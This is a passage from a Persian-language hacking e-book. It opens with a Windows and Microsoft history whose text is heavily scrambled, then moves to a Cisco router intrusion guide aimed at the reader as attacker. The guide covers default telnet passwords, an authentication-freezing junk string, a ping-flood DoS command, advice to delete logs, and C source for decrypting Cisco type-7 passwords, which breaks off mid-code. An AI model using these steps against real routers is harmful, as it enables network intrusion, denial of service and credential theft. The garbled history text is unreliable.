امپيوتر  چيزی هم متعاقبا و یمميگذروند رو دبستانمون دوره هم تفاده  جز  ازک  از اس

  .نميدونستيم آتاری و آميگا
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ن  از کسی  و شد   واردMicrosoftپيکره  بر ضربه اولين ستم  ای تقبال  عامل  سي دانی  اس ود  نکرده  چن روش  کل  ب ن  ف سخه  ای  حدود  در ن
 خودش اقتصادی صرفه برنامه ارائه زمان در چنين دیرکردهم و زیاد های هزینه صرف به توجه با و بود شده فروخته محصول 2000

 موعد از تر دیر محصولی وقتی و هستش عرضه مفيد عمر یک دارای محصول تجاری هر که ميدانيد هم شما خود بود داده دست از را
ان  و ضرر  تحميل جز چيزی زمانی بازه این تفاوت ما به بشه ارائه تقاضا بازار به مقرر الی  زی م  و م ين  ه رای  اضافی  خرج  چن  اون ب

 بر شرکت گذاری بيشتر سرمایه و دوره آن در شرکت کاری هدف و اصل که بگيرید نظر در هم را نکته این البته بود محصول نخواهد
سخه  روی ایی  ن ل   از ه ود   متمرکز Disk Operating System (DOS)قبي ه  و ب م  البت م Microsoft شرکت   ه ن  در ه از  بخش  ای

ود  کرده کسب  خودش گرافيکی های نسخه تا بيشتری های فقيتمو به محصولات ی . ب رایش  علت  ول ه  شرکت  گ ان  ب ذاری  بني روژه  گ  پ
ن  در موفقيتی دونستند می اینکه با چرا که مطرح مشه سوال این هميشه بود چی گرافيکی های د  نمی  کسب  راه ای دام  کنن ه  اق ن  ب ار  ای  ک
ه  دست  چرا  هستش نسبی کردن سود حال رد محصولی روی بر شرکتی چرا وقتی اصلا کردند زرگ  ریسک  یک  ب ه  ب ال   بزن ه احتم  ک

 های  شرکت  از بسياری همانند هم که مایکروسافت زدند می حدس دوران اون ای عده باشه داشته همراه به هم رو شرکت ورشکستگی
  ... شویم می نزدیک کم کم بود شرکت این موفقيت رمز که بالا سوال به جواب حالا ولی گرفته قرار ورشکستگی ورته در نوپا و تازه

 
  " اینده دنيای واقعی نيازهای بر مبتنی منطقی نگری آینده " گم می ها شما روبه سوال این طلایی کليد گویی اضافه هيچ بدون

 
ی  شده فرمانی سطر های نسخه در هایی موفقيت کسب همچنين و شهرت کسب حال در شرکت گرچه ا  هوشمندانه  بود ول ه  هتوج  ب  در ب
 گرافيکی  های  نسخه ارائه روی بر تحقيقات به هست شروع تپيدن حال در کجا تقاضا بازار نبض اینکه و اون نياز و بازار گرفتن نظر
ان  شدن تر پيچيده چنين هم و تقاضا نوع هم و کاربردی های افزار نرم هم شدن تر پيچيده با که دید میMicrosoft بود  ا  فرم ر  ه ا  دی  ی
م   جهتی از رفت خواهند نابودی به رو بزودی هم ها وفقيتم این زود د  Microsoftه ه دارن ازار  گوی   ب ستم  ب ا  سي ی  ه ا  ی  های  رابط  ب

Mac و  اسکيپ نت همچون هایی شرکت که ميدید روشنی GUIاگر که است ذکر به لازم درمياورند خود انحصار در کامل طور به را 
ه  95 را عامل های سيستم انحصار در را ها شرکت دیگر ه بMicrosoft سهم   مثال طور به اکنون هم د  نظر  در درصد  5 ب  آن بگيری

   وMicrosoft.  کردند می کار غيره وOS 2 و )اپل( اینتاش مک همچون هایی سيستم با کاربران اغلب بود عکس بر این نسبت زمان
يش  آن اقتصادی کارشناسان ی  پ د  بين ه  مينمودن ازار  ک ه  تقاضا  های  ب ی   سوی  ب ستمهای مبتن ر  سي ر GUI ب د  جهت  تغيي  اگر  و داد خواهن

  .نمایند اعلام را تاسيس تازه شرکت این ورشکستگی بایستی زودی به نکند اغاز را هایی فعاليت زمينه این در هم شرکت
  

 ميزدند حدس شرکت ينمسول که کرد اشاره بایستی نيز نکته این به البته شد منتشر و تهيه راستا همين در هم Windows 1 نسخه ارائه
 تازه بازار این به ورود در همده دليل سه شرکت متخصصان این قول از داد نخواهد اختصاص خود به را چندانی بازار محصول این که

  .شود ارائه نسخه این تا ميبود تاسيس
 

  ویندوز تجاری های پروژه گذاری بنيان و عرصه این به شرکت رسمی ورود ابتدایی هدف •
   بهتر محصولات ارائه برای حوزه این در علمی های اندوخته و بهتجر کسب •
   موجود تجاری سود حداکثر و حداقل موجود بازار بررسی •

  
Microsoftصميم  همين ولی بود گرفته را خود  تصميم ن  در شدن  وارد و و ت رای   عرصه  ای افی Microsoftب ود   ک ين  نب  انحصار  هم

ه  که رقيب های شرکت زمان همان در کنيد می مشاهده ها شرکت دیگر به  نسبتMicrosoftدر  امروزه که را طلبی ا  از بعضی  ب  انه
ولی  قابل موفقيتهای به هنوز هم windows 3.1 نسخه تا که مایکروسافت طوری به  داشتندMicrosoftبه  نسبت کردیم اشاراتی  در قب

ود  فهميده خوبی به گيتس بيل بود نکرده پيدا دست زمينه این ه  ب از  ک ده  ارب د  گردش  محوری  چه  حول  این رد  خواه ی  ک  ٨-٧طول   در ول
ن  کردن  اجرایی سال دنبال ده  و فکر  ای ود  ای ایی  محيط  ب ه   از گرافيکی  ه در Mac جمل اتر  آنق ين  و زیب ری  عملکرد  دارای همچن  از بهت
  .دارند نگه خود چنگ در را بازار که بودند ویندوز

 
دا  های سيستم واقعا کردیم صحبت اشان باره در شما با ام که هایی ویندوز که است ذکر به لازم البته ا  خود  و متکی  و عامل ج د  پ  نبودن
 که چيزی چه ولی شدند می استفاده کاربران کردن تر برای راحت و ميشدند کشيده داس عامل سيستم برروی که بودند هایی پوسته بلکه
 در دزدی ميگویند ای عده : بلکه نبود گيتس بيل ی تنهای نگری دهاین این  کردMicrosoft ازان و  ربودMac دست  از را سبقت گوی
 ضربه بالاخره توانست که بود زیراکس شرکت از کهGUI ساخت  شده گرفته مفاهيم  وMac از) گيتس بيل(Microsoft روشن   روز
 Mac  و Microsoft حقوقی  و معروف دعوای همه دیگر البته نماید وارد شرکت این به 95 ویندوز ارائه درMac پيکره  بر را نهایی
و  های  پنجره  از استفاده نيست پوشيده کسی بر بود صورت گرفته Mac محصول از شرمانه بی برداری کپی یک اینکه ميدانند را  در ت
 را اشغالی  طلس  همين بدانيد است جالب حتی بود ایندو ميان حقوقی مسایل جمله از بودند فایل ها نمایانگر که هایی شکلک و نوار و تو
تفاده  خود  عامل سيستم در اکنون هم و می بينيد که د  اس ر Mac شرکت   وکلای  مبناهای  از یکی  مينمایي ود Microsoft ضد    ب ه   ب  البت
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الایی  معروف ابزار نوار از استفاده و آشغال سطل از استفاده گفتند می هم راست ن  متخصصان  را Mac ب داع  شرکت  ای رده  اب د  ک  بودن
شگی  موزیگيری  باMicrosoft حال  هر  بهXerox پارک شرکت ساخته ميزکاراستار محصولی از هامال با البته  از توانست  خود  همي
ی  و خشک  هایی پوسته آن شاهد شما 95 ویندوز در دیگر کند خود ازان دفعه یک راMac انحصار  و شود راحت مک شکایت دست  ب
ه  های روتين از با استفاده شرکت نبودید روه ه  ای شده  ارئ ن  ک د  DirectX آوری  ف ار  درOpenGL  همانن دم  آخرین  ميگذاشت  اختي  ق

 پوسته  دیگر و داشت فرق قبلی های رابط دیگر با کل به گرافيکی رابط این آورد بعمل راGUI بازار  کل آوردن چنگ به در را محکم
  .نبودند هم داس روی بر شده کشيده رنگی های

  
ام  عنوان برابر در تيو  سوی  از دزدی اته ابز  اس ل   درMac)موسس  و ریس ( ج دوران  علمی  محاف ه  ان ل  ب تس  بي ای  گي ل  آق تس  بي م  گي  ه

ه  باشد قرار این از قضيه کنم می فکر استو نه، " داد جواب اینجوری ا  ک سایه  هر  م دی  دو هم ه  ثروتمن ام  ب راکس  ن تيم  زی و . داش  آمدی  ت
  "بدزدم را تلوزیون خواستم می من.نيست منصفانه این آهای: فتیگ و تررسيدم زود من دیدی تلویزیون دزدیدن برای خانه داخل

  
ول  من  خود  ه  دارم قب ای  ک تس  اق ازی  زرنگ  گي د  ب ی  کردن وقی  نظر  از ول ا  حق ار  شرکت  واقع ود بلکه   نکرده  خلافی  ک ر  ب  از زودت

Macوقی  دعوای یک مبنای بود مک شبيه ویندوز گویی اینکه و بود کرده کسب مفاهيم گرفتن در رو زیراکس انحصار  اگر  نداشت  حق
 بود شده دزدی مک از ویندوز های برنامه سورس که شد می ثابت
 یک ميرم و مياد خوشم برج یک طرح از من مثال طور ولی به بود مک با حق Microsoft رو ساختار نه بود رفته کش رو ظاهر فقط
ين  کش  من  برج مصالج از شما بگه دبيا برج اون صاحب نيست که دار خنده این سازم می اون مثل تقریبا برج و  و رفت رج  ت ون  ب  خودت

ه   دست Microsoftاخلاقی   نظر از ولی نداشت حقی مک نظر قانونی از الته. گذاشتين ود  زدهMac از مفهومی  دزدی یک  ب ن  از ب  ای
 از  پسMicrosoft شمریم  بر آنرا نسخه آخرین تا 5 های نسخه در  را DOS 6.22پروژه  رفتم کنار به بایستی که است تاریخی نقطه
تند  ابزار 95 ویندوز ارائه سال در شرکت  مسولان که کرد تصور آنچنان خود برای را بزرگ بازاری که بود دلچسب پيروزی این  داش
ون  هم دهند ادامه دهه یک تا را 95 همانند جدید های گرافيکی رابط با عامل سيستمهای پروژه دارند قصد که ه  یک  اکن ا  آن از ده  ریخت

 پایه سيستم دهه یک برای هم گاو این که اند داشته ابراز باز مسولين رسد می گوش به دور از هم بلندی شاخ سم گاو صداهای و ميگذرد
ی  سرتاسر  در عامل  های  د  گيت ود  خواه ا  ب ن  آی رار  داستان  ای اله  10 های  دوره در است  ق ه  س ين صورت   ب ا  شود  تکرار  هم ی  ( آی  بيل

 عرضه جهانيان به شهر یک نام با 95 ویندوز باشد دست نيافتنی غول این دار پرچم هم اینده های دهه در است رارق ) بيل بچه منظورم:
ام  2105ویندوز  آیا حيوان یک نام با هم 2006 ویندوز شد ستی  است  حشره  یک   ن يم  صبر  بای يم  و کن زی . ببين ه  چي وم  ک ن  است  معل  ای

  .دارد ها ادامه حالا حالا داستان
 

ا  است  بوده این کرد بررسی شرکت این مورد در توان می امنيت مقوله در هک چيزی ل  ت ان  از قب ن  هزاره  پای  توجه  هيچ  شرکت  دوم ای
ه  جایی تا نداشت خود محصولات در امنيت مقوله به چندانی ه  از  راx 9سری   محصولات  ک ن  ضعيفترین  جمل  های  محصول  سری  ای
ه  امنيت  مقوله در خطر های زنگ صدای سال این در  بوقوع پيوست 98 ویندوز در امنيتی افتضاح اوج شوند می ناميده ویندوز  اینگون
 سد  چون عناوینی نمود خواهد تبدیل نفوذگران برای امنيتی کابوس به راwin2k که  کرد مایکروسافت اعلام درآمد صدا به ها فرم پلت

 ارائه شد یک کابوس به تبدیل مایکروسافت خود برای محصول این متعدد های حفره هم سر آخر و نشد کارساز نفوذ غيرقابل و فولادی
 چه افتاد می عقب سال  یکXP ارائه اگر می شود محسوب شرکت این های رکورد جمله از محصول یک برای پشتيبان سرویس چهار
  .ميرسيد  تا هم٧-٦به  رکورد این بسا

  
ه  "داشتن  نگه  سرخ  را خود صورت باسيلی" به شد معروف منتقدان بين در  همXPویندوز  ه  آن جز  ب اهو  هم غ  و هي رات  جز  تبلي  تغيي
ود قضاوت   شبکه  امنيت حوزه تر در عميق نگرش یک با ولی متفاوت های نسخه در امکانات سری یک و گرافيکی ورد  در نب  Win م

2003 Serverاست بيان به حاجت چه است عيان که چيزی سپارم می عزیز های هکر شما به هم را ....  
 

د   رابط گرافيکی   همان جز چيزی ام کرده تست را عامل سيستم این بتای نسخه من است درراه هم بلند شاخ ویندوز ا Aero جدی ر  ب  تغيي
زات  بيشتر متاسفانه ندیدم را چيزی جدید های دسترسی و ها ابزار سری یک شدن اضافه و ها پنجره شکل ستم  های Device و  تجي  سي
 نسخه انتشار در ولی بودند ناراضی محصول این از همگان  همXP بتا  نسخه در البته شد هم درایور سری کی به نياز و نشناخت راهم
نم  فکر شد جلب عمومی رضایت تقریبا الفا ه  ميک ين  ک اق  هم م  اتف رای  ه وع  لانگهورن  ب دد  بوق ه  بپيون د   از بعضی  البت  خصوصيات جدی

 پياده شاهد البته است  معروفWindow Future Storageبه  جدید فایل يستمس گرفت خواهد  راNTFS جای  جدید فایل سيستم همانند
ا  هم دیجيتالی حقوق و امنيتی سيستم سازی وان   ب ز  Next Generation Secure Computing base(NGSCB) عن ود  خواهيم  ني  ب
وذگران  رابرای مشکلاتی شود می بينی پيش که دا  در  نف د  ابت ی  آورد پدی ان  طول  در ول ا  زم شتر  های  برسی  ب وذگران  بي ن  نف ستم  ای  سي

  .هستند جلوتر قدم یک نفوذگران هميشه البته شود می دور زده هم امنيتی
  

ه  است  پایداری همانند عامل سيستم این قوت نقطه ميشود گفته البته ان  البت غ  هم شگی  های  تبلي اه   همي ی  اگر نگ ه  مسيری  رااز خود  کل  ک
رد  تقسيم دوره به دو توان می را است نموده طی بلند شاخ ویندوز تا 1 ویندوز از مایکروسافت ه  شدن  وارد دوره یک  ک ن  ب ازار  ای ا  ب  ت

د  محصول  ارئه با هم اکنون هم و پی ایکس از ویندوز قبل تا بازار اوردن چنگ به آن از بعد 95 ویندوز از قبل ازار  تثبيت  قصد  جدی  ب
يش  های است چالش مسولان نظر در م  مایکروسافت  روی پ ن  در ه ه  ای م  زمين ه  یکی  نيست  ک شهو  جامع ين  اندی ع  همچن از  منب  Open ب
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 ٧٧٢    صفحه

Sourceد  یک  این سرور ی ها نسخه برای ولی نميشود احساس زیاد تهدید این روميزی های سيستم در گرچه است ها  است  جدی  تهدی
وز  جنگ  و است  گسترش حال در شخصی هم و روميزی های کامپيوتر به گسترش حال در تهدید این گرچه ان  هن ن  مي ه  دو ای دارد  ادام
ی  امنيت  بحث  یکی  شوند می سمت کشيده این به دليل دو به هم دیگر های کشور هستند ها کشور ملی عامل سيستمهای بعدی نکته  و مل

 کل   در Microsoftدست  از آن انحصار کردن ج خار و عامل های توليد سيستم آوری فن به رسيدن دیگری و هاست کشور اطلاعات
ن  همه گرفتن نظر در با ده   عوامل  ای ن Microsoft این د   ای ود  نخواه ه  ب د  ک ه  همانن ازار  یک  دیگر  90 ده شنه  ب اده  و حاضر  و ت ه  آم  ب

ه  پيروزی یک یا و بود خواهد شکست مفتضحانه یک یا لانگهورن ویندوز باشد دسترس در شرکت این محصولات د  ک ه  ميتوان  های  پای
ن  مسوولان  سوی  از که ای موزیگری با البته حفظ کند دیمدی های مدت برای را شرکت این تجاری م  انتظار  شرکت  ای ين  داری م  هم  ه
 داشته عرضه برای چيزی هميشه تا کن عرض بازار به ناقص هميشه را محصولت است بوده این هميشهMicrosoft شد شعار  خواهد
 نگاه یک در ولی سازد ایمن زیادی حد تا را خود لاتمحصو بيشتر که هست قادرMicrosoft است  همينطور هم امنيت مقوله در باشی
 جانبی محصولات و خدمات به نيازی ها مدت برای که کامل با رضایت مشتری یک از است بهتر وابسته هميشه مشتری یک تر عميق

ا IE چه  بياید بازار به هفت  نسخهIIS  یا IE چه  باشيد نداشته هم را بعدی ویندوز در معجزه پس انتظار باشد نداشته شرکت بعدی و   ی
IIS محصولات  عرضه همين شرکت هم سياست سویی از داشت خواهد ادامه ها فرم پلت این روی بر نفوذگری و نفوذ قصه 70 نسخه 
ان  امنيت داستان به بعدی ویندوز ميشود که بيان خبرها و مقالات دربسياری متاسفانه است اینده به وابسته ناقص د  پای ادم  داد خواه  می  ی
ن  به را ها نفوذ روزه هر ليست ميتوانيد شد چه نتيجه ولی ميشد کاذب های ادعا همين همXP برای  هم  وWin2k برای  هم اید وع  ای  ن
 اون داستان که همين ببندم شرط که هستم حاضر البته ببينيم و کنيم صبر ميتوانيم هم بعدی های ویندوز برای کنيد را مشاهده ها فرم پلت
يد  می البته شد خواهند ارائه جدید های باگ که دید خواهيد ماهه 6 فرجه یک فاصله داشت به خواهد ادامه بگيریدش هستش هکر  6 پرس
اگ  اول هفته همان از بله البته !! ماه ایی  ب ی  شوند  می  کشف  ه ا  ول د  ت ه  بخواهن د   درPublic صورت   ب ان  باین د  می  خودت ه  داني  چه  ک

دام  آنها انتشار به ببرند بعد را شخصی و لازم های استفاده ها هکر که گذاشت یدبا اول کرد خواهند طی را روندی د  اق اه  6 پس  کنن ا  م  ت
ه  بالا باشيد باریسک هایی باگ شاهد توانيد می انتشار از پس سال یک ا  ریسک  البت م  ه ان  از ک ه  هم شوند خوب   اعلام  اول های  هفت  مي
د  و شرکت  تاریخچه  روی بر رو کاملی بحث ن  تمحصولا  رون اله  20 دوره یک  طول  در شرکت  ای م   رو س ا ه تيم  ب دوارم  داش ه  امي  ک

ی  باشند شده اشنا ان کاری اینده و شرکت این های واقعيت با دوستان ا  خوب  از صرف نظر   ول د  ی ودن  ب سایل  ب اری  م ن  ک ا  شرکت  ای  ی
   .ببریم بالا را خود های توانيم آموخته می ما اون محصولات و نتایج گرفتن نظر در بدون
  باشيد داشته توجه زمان هم فاکتور چند به بایستی کنيد عمل گيتس بيل همانند بتوانيد اینکه

  
  )GUI  به Microsoft گيری  جهت(بازار  آینده تقاضای دیدین و نگری آینده •
  )یاهو و گوگل های کار راه( باشند نگرفتند قرار استفاده مورد قبلا که کارهایی راه و ها ایده ارائه •
  Mac)دست  از  زود ترMicrosoft  توسط  Xeroxایده  برداشتن ( ميکنند  قفلت انها از دیگران که هایی فرصت از دهاستفا •
ودن  توانایی • ازار  در ب انع  و ب ودن  ق ه  ب م  سود  ب ی  ک ا  ثابت  ول دیل  ت ه  شدن  تب ره  یک  ب اثير  مه ذار  ت ه  سال های   ( گ شرکت   اولي

(Microsoft   
  
 های  شرکت  این  از کدام هر روزی اگر است گوگل یا  وMicrosoftهمچون  بزرگی های شرکت پيروزی راز که است نکته چند این
 دیگری  های  شرکت  و شد  خواهند تبدیل هایی معمولی شرکت به هم آنها که رسيد خواهد روزی نزنند دست جدید های ایده و ها کار به
 بازار در رقابت و بازار انتهای بی داستان همين از کوچکی نمونه دکني می گوگل مشاهده و یاهو بين که را هایی رقابت زد خواهند جلو
ا  ميتوانيد دارید جدیدی ی ایده اگر نيز شما است طلبی هميشگی انحصار همان و ه  توجه  ب اتی  ب ه  نک الا  در ک  را شانس خود   برشمردم  ب

ه  گاهین که کردید ملاحظه نيست پس هم صفر نباشد هم زیاد اگر موفقيت احتمال کنيد امتحان اریخ  ب م  ت امپيوتر  عل م  ک  لطف  از خالی  ه
 دستگاه کامپيوتر یک با توانيد می را کارتان شوید اینده های گنده کله همين از یکی که کنيد تاسيس را اینده شرکتی در شما هم شاید نبود

 پارتی و شانس و پشتکار مقداری با شروع کنيد ياب بازار و بفرد منحصر ی ايده یک مهمتر همه از و اوليه سرمایه مقداری و شخصی
  .شوید موفق توانيد می .... همچنين و
 
  " است کافی کسی هر برای کيلوبایتی 640 حافظه یک " گيتس بيل

 
 من از اگر ميکنم جلبMS Windows 1.0x همان  یعنی امروزی های ویندوز جد از جالب تصویر چند دیدن به را شما نظر ادامه در

ایين  جدول  امروزی در های بازی ژیگول این تا ميکنم حال بيشتر ها دیمیق همان با من بپرسيد دی  سری  پ ا  نيازمن رای  ه  یک  نصب  ب
  .فرمایيد می مشاهده را یک نسخه ویندوز عامل سيستم

  
  !! مقاله اصلی نادیده گرفته شد ٤٠دو جدول در صفحه  
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 ٧٧٣    صفحه

  
  

  1  ویندوزStartupصفحه 
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 ٧٧٤    صفحه

  
  
  

ا  ها شکلک از خبری یک سری های ویندوز  در ان  ب وان  هم اد  عن ا  نم ا ایکون   ه ا  ی ود  ه  از بلکه  نب
ه  گرفت صورت ها آیکون این روی اصلی بر کار که بود بعد به 3.1 های ویندوز پروژه شروع  البت
 بود شخصی های رایانه به mouse نام به جدید افزاری سخت قطعه یک شدن با اضافه هم امر همين
 صورت  یک به همه 1.4 الی 1.1 ویندوزهای کاری های صفحه بود هکرد ایجاد را نيازی چنينی که

رات  سری  یک جز به بودند ی و  تغيي و  در کوچک  جزی ا  من م  آشغال  سطل  صفحات  و ه دا  ه ه   بع  ب
desktopاز خبری بينيد می که همانطور هنوز شد اضافه taskbarبا موارد این همه نيستش غيره و 
  .صورت گرفت مک عامل ستمسي در جابز استيو ای ایده از اقتباس
 ميکنيد مشاهده دکمه 2 با  روMicrosoft شرکت  توسط شده ساخته ماوس اولين کناری تصویر  در
ود  مک تک کليدی ماوس از بهتری عملکرد دارای ماوس این ن  قيمت  ب اوس  ای  در دوران اون در م

   .بود دلار 200 حدود
  
  

  
  
  
  
  
  

  .هستند یکسان دوره این تورم نسبت با تقریبا هم 1 دوزوین جمله از روز آن عامل های قيمت سيستم
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 ٧٧٥    صفحه

  
  

  جدید لوگو با 1.04  ویندوزStartupصفحه 
 

 ویندوز نسخه اولين از انتشار پس سال 3 یعنی 1987 سال در مایکروسافت شرکت تجاری )لوگو ( آرم فرماید می ملاحظه که همانطور
ن  اید می یادم که چيزی تنها البته است ميانده ثابت باقی شرکت این برای تجاری رمآ همين سال 18 به قریب کنون تا و کرد پيدا تغيير  ای
 حالت به ایران در موجود های مانيتور اغلب که بود

 سایه زیر و ها حالت و نمایيد یک استفاده ویندوز عامل سيستم از توانستيد می فسفری حالت به یا سفيد و و سياه یا یعنی بودند مونوکروم
ه  نمایيد همين مشاهده توانستيد نمی ان را های رنگ خصوص به و های م  نکت دوره  در ای عده  فروشی  فخر  عامل  ه ود  آن سانی  ب ه  ک  ک

 نيست دار خنده�داشتند  را رنگی پوسته های این نمایش قابليت با مانيتوری
  

ه  زمانی شد از شروع 95 سال از هم ویندوز مداوم های کردن هنگ و خوردن ضربه داستان همين نرفته یادم تا راستی ه  ک ارگيری  ب  ک
 تاریخچه مورد در ببرید دوستان رو لازم های استفاده این بخش های گفته از که اميدوارم شد باب گرافيکی های پوسته جای به ها روتين
  .مطرح کنيد رو خودتون های سوال توانيد می داشتيد سوالی اگر عاملی سيستم هر
 

Ethical Hacki  Cisco Security Hand Book By C0llect0r ng 
  

 مينمایم اشاره آنها از چند نمونه به زیر در من مينمایند تبعيت ها راه ترین دسترس در و ترین آسان از هک پيچيده های راه اوقات گاهی
  .ميشوند بررسی افزاری سخت هک حوزه در زیر ومطالب

 
  روتر ؟ چرا

 
وذگر  یک که اولين چيز دارد ها هکر برای را نشدنی تصور مزایایی آن پيکربندی به ییاب دست و روتر یک کنترل آوردن بدست ه  نف  ب
 است خامی اطلاعات حجم دلایل دیگر از بر شمردیم انرا قبلا که است شبکه اجزی دیگر به روتر همين طریق از نفوذ ميگردد آن دنبال
 و اعتباری های کارت های شماره تا گرفته رمز کلمات از چه ای داده هگون هر نيست که پوشيده کسی از شود می تبادل ها روتر در که

 حتی موارد از بسياری در ولی کردdecode نياز صورت در سپس و  نمودهCapture روتر یک از توان را می غيره و افراد اطلاعات
د  مشاهده جلوی چشمانتان در شما را ميکنند پخش شبکه روی بر افراد که حساسی اطلاعات نيست نيازی هم رمزگشایی به ين  ميکني  هم
 جمع برای متد این از فقط رایانه های هکر از بسياری های موجود آمار طبق ميدهد نشان بيش از بيش را تبادلات رمزکردن نيازبه امر

 مينمایند مشروع های نا آمد در کسب آنها فروش و اطلاعات اوری
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 ٧٧٦    صفحه

د  هستيد می مقصد به فرستادن حال در را خود رمز کلمات یا و خود اعتباری های حساب شماره که وقتی پس د  حدس  تواني ه  بزني ن  ک  ای
  .شوند  می رد هایی هکر چه دستان زیر از و را پرخطری های راه چه ها پکت

  
  !!سيسکو  روتر یک دنبال به
  
ه   استTracertفرمان  از استفاده همان ه را ترین آسان هست سيسکو نوع از روتر یک کردن پيدا برای متعددی های راه الا  در ک ه  ب  ب
د  راه خود به شک نمودید برخوردcisco کلمه  به ها نود از دریکی اگر نمودیم اشاره ان ه  ندهي ر  یک  آن ک سکو  روت ه  است  سي ين  ب  هم

 می حالا کردید پيدا را سيسکو روتر یک خواب هست هم جوابگو مواقع اکثر در هست ولی هم شانسی مقدار یک هم را این البته راحتی
ه  امتحان  بار چندین در ميشود بلوکه اتانPinging عمليات  که اگر دیدی کنيد کار چه خواهيد ال  ب اد  احتم ر  خود  زی ز  روت ا  ني واره  ب  دی
د  را سرور پروکسی یک باشد نشده حفاظت اتش دیواره با که بگردید روتری دنبال پس ميشود حفاظت اتش ه  پيدا کني اط  اجازه  ک ا  ارتب  ب

د  می  اسم کاربری و رمز کلمه باز اگر کنيد نت تل نظر مورد روتر به سپس دهد می را 23 پورت ر  خواه ر  از است  بهت ن  خي ر  ای  روت
 .کنيد تست را ميکنم اشاره انها به زیر که در پایينی های روش بایستی بگذرید خواهيد نمی واگر بگذرید

  
ه  بگم بهتون چيزی یه مانيتور دم بيارید رو گوشتون خوب يش  رمز  کلم رای  فرض  پ ل  سرویس  ب سياری  نت  ت ر  از در ب ا  روت ه   ه  کلم

Ciscoکلمه  زدن با هم ها وقت بعضی  هستش scapeبه ناشناس کاربری حساب طریق از ميتونيد هم گاهی نيست عبور کلمه به نيازی 
  .نت بشين  تل سيستم وارد ایميل آدرس از استفاده همراه

  
دل  از بعضی  سکو  های  م ر  در سي ه ک براب اومتی  خود  از طولانی  رمز  های  لم شان  مق د  نمی  ن ه  و دهن ا   هکر  اصطلاح معروف   ب  ه
Freezکنيد امتحان را زیر رشته مثلا است نفوذ دیگر نوع یک هم این شوند می :  

  
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk102
93847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyaskdjfhgzmxncbv019dsk1029384
7465qpwoeirutyalskdjfhgzmxncbv019ds 
k10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10
293847465qpwoeirutyalskdjfhgzmxncbv019dskg,jkbkjfkjbnjkbvffb6gn3434mh43dfh3j35dfh4mk433d54
hxfj34h3fj4583df4hj54gj87dgu84k6gc486jlj8674kl8678l;k7v3787k867chkv547kfh4vxklnljkfngbjbfgmfh
bg 

  
د   صبر   دقيقه٢-١  بایستی و شود  میReboot روتر Authenticationشدن  فریز اثر بر حالا اره  سپس  کني د  امتحان  دوب از  کني  اگرب
  .نيست پذیر اسيب دلم آن نداشت فایده

  
   همانند بدهيد  قرارDoSعمليات  یک تحت را روتر نداشتند فایده فوق های راه اگر

ping -l 56550 cisco.router.ip -t" , 
 

وذ  روتر نتوانيد به اگر است شدن ثبت حال در شما های فعاليت مراحل این تمامی در که باشيد داشته یاد به باز البته د  نف ل  و کني ا  فای  یه
 .ميباشد مشخص واضحی بسياربسيار صورت به عمليات گونه این های رد تمامی ننمایيد پاک را نگاری واقعه
شفرضی  کلمات  از نتوانستيد باز اگر تفاده password و Adminهمچون   پي د   اس سياری  در نمایي ر  ار ب ا  روت ن  ه يش  ای ا  فرض  پ  را ه
 فرمایيد  توجه ميکنند جلوه هم کم اهميت که نکات ریز این به تماح که ميکنيم پيشنهاد شبکه مدیران به نميدهند تغيير
 ان مشابه یا وHtl-texttil فرمان  از استفاده با است رمز کلمه اوری باز به نوبت کنيد نفوذ هدف روتر در طریقی به توانستيد اگر حال
 رمز حاوی فایل دریافت برای و کرده مشاهده ؟  یاhelp نفرما با را دستورات از بلندی ليست ميتوانيد ها مدل انواع بودن متفاوت بعلت
 را مربوطه فایل سپی دارید نگه فعال رمز فایل دریافت برای شنود صورت به را خود هایپرترمينال برنامه آن از قبل ولی نمایيد اقدام ها
رین  سخت عمل این انجام از بعد شما بفرستيد 23 پورت و خود سيستم IP به ه  ت ش  را مرحل تيد  تپ ه  نوبت  حال  سرگذاش ل   ب  بررسی فای

  .است آمده بدست
 
تفاده    برایjohn the Ripper برنامه  از یا نمایيد انتخاب را زیر روش دو از یکی توانيد می شما اینجا در د  کرک اس ا  کني ه  از ی  برنام
دا  وکسلين  محيط یک در نمایيد استفاده ها رمز حاوی فایلdecrypt برای  لينوکس سيستم یک در زیر ا  ابت تفاده  ب د  سورس gcc از  س  ک
  . کنيد گشایی رمز را فایل سپس و کرده کامپایل را زیر

 
#include <stdio.h> 
#include <ctype.h> 
char xlat[] = { 
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0x64، 0x73، 0x66، 0x64، 0x3b، 0x6b، 0x66، 0x6f، 
0x41، 0x2c، 0x2e، 0x69، 0x79، 0x65، 0x77، 0x72، 
0x6b، 0x6c، 0x64، 0x4a، 0x4b، 0x44 
}; 
char pw_str1[] = "password 7 "; 
char pw_str2[] = "enable-password 7 "; 
char *pname; 
cdecrypt(enc_pw، dec_pw) 
char *enc_pw; 
char *dec_pw; 
{ 
unsigned int seed، i، val = 0; 
if(strlen(enc_pw) & 1) 
return(-1); 
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0'; 
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1])) 
return(-1); 
for (i = 2 ; i <= strlen(enc_pw); i++) { 
if(i !=2 && !(i & 1)) { 
dec_pw[i / 2 - 2] = val ^ xlat[seed++]; 
val = 0; 
} 
val *= 16; 
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) { 
val += enc_pw[i] - '0'; 
continue; 
} 
if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') { 
val += enc_pw[i] - 'A' + 10; 
continue; 
} 
if(strlen(enc_pw) != i) 
return(-1); 
} 
dec_pw[++i / 2] = 0; 
return(0); 
} 
usage() 
{ 
fprintf(stdout، "Usage: %s -p <encrypted password>\n"، pname); 
fprintf(stdout، " %s <router config file> <output file>\n"، 
pname); 
return(0); 
} 
main(argc،argv) 
int argc; 
char **argv; 
{ 
FILE *in = stdin، *out = stdout; 
char line[257]; 
char passwd[65]; 
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unsigned int i، pw_pos; 
pname = argv[0]; 
if(argc > 1) 
{ 
if(argc > 3) { 
usage(); 
exit(1); 
} 
if(argv[1][0] == '-') 
{ 
switch(argv[1][1]) { 
case 'h': 
usage(); 
break; 
case 'p': 
if(cdecrypt(argv[2]، passwd)) { 
fprintf(stderr، "Error.\n"); 
exit(1); 
} 
fprintf(stdout، "password: %s\n"، passwd); 
break; 
default: 
fprintf(stderr، "%s: unknow option."، pname); 
} 
return(0); 
} 
if((in = fopen(argv[1]، "rt")) == NULL) 
exit(1); 
if(argc > 2) 
